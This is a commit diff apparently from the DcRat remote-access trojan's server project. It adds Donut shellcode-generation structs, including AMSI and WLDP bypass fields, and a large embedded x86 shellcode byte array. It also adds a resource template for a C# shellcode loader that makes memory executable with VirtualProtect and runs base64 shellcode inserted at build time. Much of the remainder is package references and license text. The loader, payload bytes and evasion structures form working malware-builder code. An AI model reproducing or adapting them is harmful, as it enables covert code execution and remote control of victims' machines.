0x55, 0x8d, 0x86, 0xec, 0x04, 0x00, 0x00, 0x50, 0xff, 0x96, 0xac, 0x00,
0x00, 0x00, 0x85, 0xc0, 0x75, 0x61, 0x8b, 0x44, 0x24, 0x10, 0x8d, 0x54,
0x24, 0x20, 0x52, 0x53, 0x50, 0x8b, 0x08, 0xff, 0x91, 0x04, 0x01, 0x00,
0x00, 0x85, 0xc0, 0x75, 0x40, 0x66, 0x39, 0x6c, 0x24, 0x20, 0x74, 0x39,
0x8b, 0x4c, 0x24, 0x10, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x86, 0x0c,
0x05, 0x00, 0x00, 0x50, 0x8b, 0x11, 0x51, 0xff, 0x12, 0x85, 0xc0, 0x75,
0x20, 0x8b, 0x44, 0x24, 0x10, 0x8d, 0x54, 0x24, 0x18, 0x52, 0xff, 0x74,
0x24, 0x18, 0x8b, 0x08, 0x50, 0xff, 0x91, 0x8c, 0x00, 0x00, 0x00, 0x8b,
0x44, 0x24, 0x14, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0x8b, 0x44, 0x24,
0x10, 0x50, 0x8b, 0x08, 0xff, 0x51, 0x08, 0xff, 0x96, 0xb0, 0x00, 0x00,
0x00, 0x8b, 0x86, 0x50, 0x07, 0x00, 0x00, 0x8d, 0x04, 0x45, 0x02, 0x00,
0x00, 0x00, 0x50, 0x55, 0x53, 0xe8, 0xf8, 0x02, 0x00, 0x00, 0x83, 0xc4,
0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00, 0x55, 0x53, 0xff, 0x56, 0x40, 0x5f,
0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x0c, 0xc3, 0x8b, 0x44, 0x24, 0x0c, 0xc7,
0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc2, 0x10, 0x00, 0x8b, 0x44,
0x24, 0x04, 0x2b, 0x44, 0x24, 0x08, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x99,
0xf7, 0x7c, 0x24, 0x08, 0xc3, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83,
0xe8, 0x05, 0xc3, 0x55, 0x8b, 0xec, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00,
0x33, 0xc9, 0x56, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x0c, 0xeb, 0x20, 0x85,
0xc9, 0x75, 0x23, 0xff, 0x75, 0x18, 0xff, 0x75, 0x14, 0xff, 0x75, 0x10,
0xff, 0x75, 0x0c, 0x50, 0xff, 0x75, 0x08, 0xe8, 0xd3, 0xec, 0xff, 0xff,
0x8b, 0x36, 0x83, 0xc4, 0x18, 0x8b, 0xc8, 0x8b, 0x46, 0x18, 0x85, 0xc0,
0x75, 0xd9, 0x8b, 0xc1, 0x5e, 0x5d, 0xc3, 0x8b, 0x44, 0x24, 0x08, 0x56,
0x8b, 0x74, 0x24, 0x08, 0x8a, 0x16, 0x84, 0xd2, 0x74, 0x14, 0x8a, 0xca,
0x2b, 0xf0, 0x8a, 0xd1, 0x3a, 0x08, 0x75, 0x0a, 0x40, 0x8a, 0x0c, 0x06,
0x8a, 0xd1, 0x84, 0xc9, 0x75, 0xf0, 0x0f, 0xb6, 0x08, 0x0f, 0xb6, 0xc2,
0x2b, 0xc1, 0x5e, 0xc3, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x20,
0x33, 0xc0, 0x55, 0x8b, 0x6c, 0x24, 0x28, 0x56, 0x57, 0x33, 0xff, 0x89,
0x44, 0x24, 0x2c, 0x33, 0xf6, 0x89, 0x74, 0x24, 0x10, 0x8b, 0x4c, 0x24,
0x28, 0x8a, 0x0c, 0x08, 0x84, 0xc9, 0x74, 0x11, 0x83, 0xf8, 0x40, 0x74,
0x0c, 0x88, 0x4c, 0x3c, 0x14, 0x47, 0x40, 0x89, 0x44, 0x24, 0x2c, 0xeb,
0x57, 0x6a, 0x10, 0x58, 0x2b, 0xc7, 0x8d, 0x74, 0x24, 0x14, 0x50, 0x03,
0xf7, 0x6a, 0x00, 0x56, 0xe8, 0xfd, 0x01, 0x00, 0x00, 0x83, 0xc4, 0x0c,
0xc6, 0x06, 0x80, 0x83, 0xff, 0x0c, 0x72, 0x21, 0x55, 0x8d, 0x44, 0x24,
0x18, 0x53, 0x50, 0xe8, 0x5e, 0x00, 0x00, 0x00, 0x6a, 0x10, 0x33, 0xd8,
0x33, 0xea, 0x8d, 0x44, 0x24, 0x24, 0x6a, 0x00, 0x50, 0xe8, 0xd4, 0x01,
0x00, 0x00, 0x83, 0xc4, 0x18, 0x8b, 0x44, 0x24, 0x2c, 0x8b, 0x74, 0x24,
0x10, 0xc1, 0xe0, 0x03, 0x46, 0x6a, 0x10, 0x89, 0x44, 0x24, 0x24, 0x5f,
0x89, 0x74, 0x24, 0x10, 0x83, 0xff, 0x10, 0x75, 0x15, 0x55, 0x8d, 0x44,
0x24, 0x18, 0x53, 0x50, 0xe8, 0x21, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x0c,
0x33, 0xd8, 0x33, 0xea, 0x33, 0xff, 0x8b, 0x44, 0x24, 0x2c, 0x85, 0xf6,
0x0f, 0x84, 0x67, 0xff, 0xff, 0xff, 0x5f, 0x5e, 0x8b, 0xd5, 0x8b, 0xc3,
0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x83, 0xec, 0x10, 0x8b, 0x44, 0x24,
0x18, 0x8b, 0x54, 0x24, 0x1c, 0x53, 0x55, 0x56, 0x8b, 0x74, 0x24, 0x20,
0x33, 0xdb, 0x57, 0x8d, 0x7c, 0x24, 0x10, 0xa5, 0xa5, 0xa5, 0xa5, 0x8b,
0x4c, 0x24, 0x14, 0x8b, 0x74, 0x24, 0x1c, 0x8b, 0x6c, 0x24, 0x18, 0x8b,
0x7c, 0x24, 0x10, 0x89, 0x4c, 0x24, 0x28, 0x8b, 0xce, 0xc1, 0xc8, 0x08,
0x8b, 0x74, 0x24, 0x28, 0x03, 0xc2, 0xc1, 0xce, 0x08, 0x33, 0xc7, 0x03,
0xf7, 0xc1, 0xc2, 0x03, 0x33, 0xf3, 0xc1, 0xc7, 0x03, 0x33, 0xd0, 0x89,
0x6c, 0x24, 0x28, 0x33, 0xfe, 0x8b, 0xe9, 0x43, 0x83, 0xfb, 0x1b, 0x72,
0xd6, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x10, 0xc3, 0x8b, 0x54, 0x24,
0x10, 0x83, 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x24, 0x85, 0xd2, 0x0f,
0x84, 0xe8, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x20, 0x55, 0x33, 0xed,
0x45, 0x56, 0x8d, 0x48, 0x0f, 0x2b, 0xe8, 0x57, 0x89, 0x4c, 0x24, 0x10,
0x89, 0x6c, 0x24, 0x34, 0x8b, 0xf0, 0x8d, 0x7c, 0x24, 0x14, 0x33, 0xc9,
0xa5, 0xa5, 0xa5, 0xa5, 0x8b, 0x74, 0x24, 0x28, 0x8b, 0x04, 0x8e, 0x31,
0x44, 0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, 0x72, 0xf3, 0x8b, 0x74, 0x24,
0x20, 0x8b, 0x44, 0x24, 0x1c, 0x8b, 0x7c, 0x24, 0x18, 0x8b, 0x4c, 0x24,
0x14, 0xc7, 0x44, 0x24, 0x30, 0x10, 0x00, 0x00, 0x00, 0x03, 0xcf, 0x03,
0xc6, 0xc1, 0xc7, 0x05, 0x33, 0xf9, 0xc1, 0xc6, 0x08, 0x33, 0xf0, 0xc1,
0xc1, 0x10, 0x03, 0xc7, 0x03, 0xce, 0xc1, 0xc7, 0x07, 0xc1, 0xc6, 0x0d,
0x33, 0xf8, 0x33, 0xf1, 0xc1, 0xc0, 0x10, 0x83, 0x6c, 0x24, 0x30, 0x01,
0x75, 0xd7, 0x8b, 0x6c, 0x24, 0x28, 0x89, 0x4c, 0x24, 0x14, 0x33, 0xc9,
0x89, 0x74, 0x24, 0x20, 0x89, 0x7c, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c,
0x8b, 0x44, 0x8d, 0x00, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04,
0x72, 0xf2, 0x8b, 0x6c, 0x24, 0x34, 0x8b, 0xca, 0x6a, 0x10, 0x58, 0x3b,
0xd0, 0x0f, 0x47, 0xc8, 0x85, 0xc9, 0x7e, 0x19, 0x8d, 0x7c, 0x24, 0x14,
0x8b, 0xf3, 0x2b, 0xfb, 0x8b, 0xe9, 0x8a, 0x04, 0x37, 0x30, 0x06, 0x46,
0x83, 0xed, 0x01, 0x75, 0xf5, 0x8b, 0x6c, 0x24, 0x34, 0x2b, 0xd1, 0x03,
0xd9, 0x8b, 0x4c, 0x24, 0x10, 0x80, 0x01, 0x01, 0x75, 0x08, 0x49, 0x8d,
0x04, 0x29, 0x85, 0xc0, 0x7f, 0xf3, 0x8b, 0x44, 0x24, 0x2c, 0x85, 0xd2,
0x0f, 0x85, 0x32, 0xff, 0xff, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4,
0x14, 0xc3, 0x8b, 0x54, 0x24, 0x0c, 0x8b, 0x44, 0x24, 0x04, 0x56, 0x8b,
0xf0, 0x85, 0xd2, 0x74, 0x13, 0x57, 0x8b, 0x7c, 0x24, 0x10, 0x2b, 0xf8,
0x8a, 0x0c, 0x37, 0x88, 0x0e, 0x46, 0x83, 0xea, 0x01, 0x75, 0xf5, 0x5f,
0x5e, 0xc3, 0x8a, 0x44, 0x24, 0x08, 0x8b, 0x4c, 0x24, 0x0c, 0x57, 0x8b,
0x7c, 0x24, 0x08, 0xf3, 0xaa, 0x8b, 0x44, 0x24, 0x08, 0x5f, 0xc3};
}
}

View File

@ -0,0 +1,41 @@
using System;
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
public unsafe struct DSConfig
{
public int arch;
public int bypass;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] domain;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] cls;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] method;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = (Constants.DONUT_MAX_PARAM+1)* Constants.DONUT_MAX_NAME)]
public char[] param;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] file;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_URL)]
public char[] url;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] runtime;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] modname;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] outfile;
public int mod_type;
public UInt64 mod_len;
public DSModule mod;
public int inst_type;
public UInt64 inst_len;
public DSInstance inst;
public int pic_cnt;
public UInt64 pic_len;
public IntPtr pic;
}
}

View File

@ -0,0 +1,12 @@
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
public struct DSCrypt
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public byte[] mk;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public byte[] ctr;
}
}

View File

@ -0,0 +1,16 @@
using System;
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
public struct DSFileInfo
{
public int fd;
public UInt64 size;
public byte map;
public int type;
public int arch;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_VER_LEN)]
public char[] ver;
}
}

View File

@ -0,0 +1,99 @@
using System;
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
public struct DSInstance
{
public UInt32 len;
public DSCrypt key;
public UInt64 iv;
public API api;
public int api_cnt;
public int dll_cnt;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_DLL)]
public DLL[] d;
public AMSI amsi;
public int bypass;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] clr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public char[] wldp;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public char[] wldpQuery;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public char[] wldpIsApproved;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public char[] amsiInit;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public char[] amsiScanBuf;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public char[] amsiScanStr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public char[] wscript;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public char[] wscript_exe;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_IUnknown;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_IDispatch;
// GUID required to load .NET assemblies
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xCLSID_CLRMetaHost;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_ICLRMetaHost;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_ICLRRuntimeInfo;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xCLSID_CorRuntimeHost;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_ICorRuntimeHost;
[MarshalAs(UnmanagedType.Struct, SizeConst = 16)]
public Guid xIID_AppDomain;
public int type;
public DSHttp http;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
public char[] sig;
public UInt64 mac;
public DSCrypt mod_key;
public UInt64 mod_len;
public MODULE module;
}
[StructLayout(LayoutKind.Explicit)]
public unsafe struct API
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)]
[FieldOffset(0)] public UInt64[] hash;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)]
[FieldOffset(0)] public void*[] addr;
}
[StructLayout(LayoutKind.Sequential)]
public struct DLL
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
public char[] dll_name;
}
[StructLayout(LayoutKind.Explicit)]
public unsafe struct MODULE
{
[FieldOffset(0)] public IntPtr x;
[FieldOffset(0)] public IntPtr p;
}
[StructLayout(LayoutKind.Explicit)]
public struct AMSI
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
[FieldOffset(0)] public char[] s;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
[FieldOffset(0)] public UInt32[] w;
}
}

View File

@ -0,0 +1,33 @@
using System;
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
public struct DSModule
{
public int type;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)]
public byte[] runtime;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)]
public byte[] domain;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)]
public byte[] cls;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)]
public byte[] method;
public int param_cnt;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public P[] p;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME)]
public char[] sig;
public UInt64 mac;
public UInt64 len;
public IntPtr data;
}
[StructLayout(LayoutKind.Sequential)]
public struct P
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = Constants.DONUT_MAX_NAME*2)]
public byte[] param;
}
}

View File

@ -0,0 +1,12 @@
using System.Runtime.InteropServices;
namespace Server.Helper.Donut.Structs
{
public struct DSHttp
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
public char[] url;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] req;
}
}

View File

@ -238,6 +238,31 @@ namespace Server.Properties {
}
}
/// <summary>
/// 查找类似 using System;
///using System.Runtime.InteropServices;
///
///namespace DcRat_Shellcode_Loader
///{
/// public class ShellCode
/// {
/// [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
/// private delegate int Run();
///
/// public static bool ShellCodeExecute(byte[] ShellCode)
/// {
/// try
/// {
/// GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned);
/// IntPtr ptr = pinnedArray.AddrOfPinnedObject();
/// Marshal.Co [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
public static string ShellcodeLoader {
get {
return ResourceManager.GetString("ShellcodeLoader", resourceCulture);
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>

View File

@ -184,4 +184,52 @@
<data name="DcRat_png" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\DcRat_png.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="ShellcodeLoader" xml:space="preserve">
<value>using System;
using System.Runtime.InteropServices;
namespace DcRat_Shellcode_Loader
{
public class ShellCode
{
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
private delegate int Run();
public static bool ShellCodeExecute(byte[] ShellCode)
{
try
{
GCHandle pinnedArray = GCHandle.Alloc(ShellCode, GCHandleType.Pinned);
IntPtr ptr = pinnedArray.AddrOfPinnedObject();
Marshal.Copy(ShellCode, 0, ptr, ShellCode.Length);
//uint flOldProtect = 0;
bool ChangeProtection = VirtualProtect(ptr, (UIntPtr)ShellCode.Length, 0x40, out uint flOldProtect);
if (!ChangeProtection)
{
return false;
}
Run del = (Run)Marshal.GetDelegateForFunctionPointer(ptr, typeof(Run));
del();
return true;
}
catch (Exception e)
{
Console.Error.WriteLine("ShellCodeExecute exception: " + e.Message);
}
return false;
}
[DllImport("kernel32.dll")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
static void Main()
{
byte[] buf = Convert.FromBase64String("%shellcode%");
ShellCodeExecute(buf);
}
}
}</value>
</data>
</root>

View File

@ -86,6 +86,12 @@
<Reference Include="Newtonsoft.Json, Version=12.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\packages\Newtonsoft.Json.12.0.3\lib\net45\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="PeNet, Version=1.1.1.0, Culture=neutral, PublicKeyToken=6cf2bfba59bcfb3f, processorArchitecture=MSIL">
<HintPath>..\packages\PeNet.1.1.1\lib\net461\PeNet.dll</HintPath>
</Reference>
<Reference Include="PeNet.Asn1, Version=1.3.3.0, Culture=neutral, PublicKeyToken=1e2e3568f0050bf5, processorArchitecture=MSIL">
<HintPath>..\packages\PeNet.Asn1.1.3.3\lib\net461\PeNet.Asn1.dll</HintPath>
</Reference>
<Reference Include="protobuf-net, Version=2.4.0.0, Culture=neutral, PublicKeyToken=257b51d87d2e4d67, processorArchitecture=MSIL">
<HintPath>..\packages\protobuf-net.2.4.6\lib\net40\protobuf-net.dll</HintPath>
</Reference>
@ -112,6 +118,10 @@
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.4.5.3\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.Security" />
<Reference Include="System.Security.Cryptography.Pkcs, Version=4.0.3.2, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Security.Cryptography.Pkcs.4.5.2\lib\net461\System.Security.Cryptography.Pkcs.dll</HintPath>
</Reference>
<Reference Include="System.ServiceModel" />
<Reference Include="System.Threading.Thread, Version=4.0.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Threading.Thread.4.3.0\lib\net46\System.Threading.Thread.dll</HintPath>
@ -322,6 +332,18 @@
<Compile Include="Helper\Controls\HexEditor\HexViewHandler.cs" />
<Compile Include="Helper\Controls\HexEditor\IKeyMouseEventHandler.cs" />
<Compile Include="Helper\Controls\HexEditor\StringViewHandler.cs" />
<Compile Include="Helper\Donut\Constants.cs" />
<Compile Include="Helper\Donut\Donut.cs" />
<Compile Include="Helper\Donut\Generator.cs" />
<Compile Include="Helper\Donut\Helper.cs" />
<Compile Include="Helper\Donut\Payloads\payload_exe_x64.cs" />
<Compile Include="Helper\Donut\Payloads\payload_exe_x86.cs" />
<Compile Include="Helper\Donut\Structs\DSConfig.cs" />
<Compile Include="Helper\Donut\Structs\DSCrypt.cs" />
<Compile Include="Helper\Donut\Structs\DSFileInfo.cs" />
<Compile Include="Helper\Donut\Structs\DShttp.cs" />
<Compile Include="Helper\Donut\Structs\DSInstance.cs" />
<Compile Include="Helper\Donut\Structs\DSModule.cs" />
<Compile Include="Helper\IconInjector.cs" />
<Compile Include="Helper\ListViewColumnSorter.cs" />
<Compile Include="Helper\ListviewDoubleBuffer.cs" />

View File

@ -6,12 +6,15 @@
<package id="ILMerge" version="3.0.29" targetFramework="net46" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net46" />
<package id="Newtonsoft.Json" version="12.0.3" targetFramework="net46" />
<package id="PeNet" version="1.1.1" targetFramework="net461" />
<package id="PeNet.Asn1" version="1.3.3" targetFramework="net461" />
<package id="protobuf-net" version="2.4.6" targetFramework="net461" />
<package id="System.Buffers" version="4.5.1" targetFramework="net461" />
<package id="System.Collections.Immutable" version="1.7.1" targetFramework="net461" />
<package id="System.Memory" version="4.5.4" targetFramework="net461" />
<package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net461" />
<package id="System.Runtime.CompilerServices.Unsafe" version="4.5.3" targetFramework="net461" />
<package id="System.Security.Cryptography.Pkcs" version="4.5.2" targetFramework="net461" />
<package id="System.Threading.Thread" version="4.3.0" targetFramework="net461" />
<package id="Vestris.ResourceLib" version="2.1.0" targetFramework="net46" />
</packages>

BIN
packages/PeNet.1.1.1/.signature.p7s vendored Normal file

Binary file not shown.

BIN
packages/PeNet.1.1.1/PeNet.1.1.1.nupkg vendored Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
packages/PeNet.Asn1.1.3.3/.signature.p7s vendored Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,23 @@
The MIT License (MIT)
Copyright (c) .NET Foundation and Contributors
All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,309 @@
.NET Core uses third-party libraries or other resources that may be
distributed under licenses different than the .NET Core software.
In the event that we accidentally failed to list a required notice, please
bring it to our attention. Post an issue or email us:
dotnet@microsoft.com
The attached notices are provided for information only.
License notice for Slicing-by-8
-------------------------------
http://sourceforge.net/projects/slicing-by-8/
Copyright (c) 2004-2006 Intel Corporation - All Rights Reserved
This software program is licensed subject to the BSD License, available at
http://www.opensource.org/licenses/bsd-license.html.
License notice for Unicode data
-------------------------------
http://www.unicode.org/copyright.html#License
Copyright © 1991-2017 Unicode, Inc. All rights reserved.
Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Unicode data files and any associated documentation
(the "Data Files") or Unicode software and any associated documentation
(the "Software") to deal in the Data Files or Software
without restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, and/or sell copies of
the Data Files or Software, and to permit persons to whom the Data Files
or Software are furnished to do so, provided that either
(a) this copyright and permission notice appear with all copies
of the Data Files or Software, or
(b) this copyright and permission notice appear in associated
Documentation.
THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT OF THIRD PARTY RIGHTS.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS
NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL
DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE,
DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THE DATA FILES OR SOFTWARE.
Except as contained in this notice, the name of a copyright holder
shall not be used in advertising or otherwise to promote the sale,
use or other dealings in these Data Files or Software without prior
written authorization of the copyright holder.
License notice for Zlib
-----------------------
https://github.com/madler/zlib
http://zlib.net/zlib_license.html
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.2.11, January 15th, 2017
Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
*/
License notice for Mono
-------------------------------
http://www.mono-project.com/docs/about-mono/
Copyright (c) .NET Foundation Contributors
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the Software), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
License notice for International Organization for Standardization
-----------------------------------------------------------------
Portions (C) International Organization for Standardization 1986:
Permission to copy in any form is granted for use with
conforming SGML systems and applications as defined in
ISO 8879, provided this notice is included in all copies.
License notice for Intel
------------------------
"Copyright (c) 2004-2006 Intel Corporation - All Rights Reserved
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
License notice for Xamarin and Novell
-------------------------------------
Copyright (c) 2015 Xamarin, Inc (http://www.xamarin.com)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
